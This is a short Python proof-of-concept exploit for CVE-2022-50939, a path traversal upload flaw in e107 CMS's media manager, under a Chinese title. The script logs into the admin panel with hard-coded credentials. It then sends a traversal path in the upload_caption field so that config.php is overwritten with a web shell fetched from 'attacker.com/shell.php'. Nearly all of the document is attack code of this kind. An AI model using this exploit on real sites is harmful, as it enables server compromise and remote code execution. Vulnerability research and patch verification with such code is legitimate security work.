CVE-2022-50939 e107 CMS 路径遍历文件上传漏洞

import requests import re # CVE-2022-50939 PoC - e107 CMS Path Traversal File Upload # Target: e107 CMS <= 3.2.1 # Component: image.php Media Manager Remote URL Upload TARGET_URL = "http://target.com/e107_admin/image.php" LOGIN_URL = "http://target.com/e107_admin/admin.php" USERNAME = "admin" PASSWORD = "admin123" def exploit(): """ Authenticate and exploit path traversal in upload_caption parameter to overwrite arbitrary files on the server. """ session = requests.Session() # Step 1: Login to e107 CMS admin panel login_data = { "username": USERNAME, "password": PASSWORD, "authname": "admin", "userlogin": "in" } login_resp = session.post(LOGIN_URL, data=login_data) if "e107.admin" not in login_resp.url: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Exploit path traversal via upload_caption parameter # Target: ../../../e107_files/config.php exploit_data = { "upload_caption": "../../../../e107_files/config.php", "file_url": "http://attacker.com/shell.php", "upload": "Upload" } # Note: Actual request requires proper CSRF token and session cookies # The upload_caption parameter allows path traversal to overwrite files exploit_resp = session.post(TARGET_URL, data=exploit_data) if exploit_resp.status_code == 200: print("[+] Exploit sent - check if config.php was overwritten") return True if __name__ == "__main__": exploit()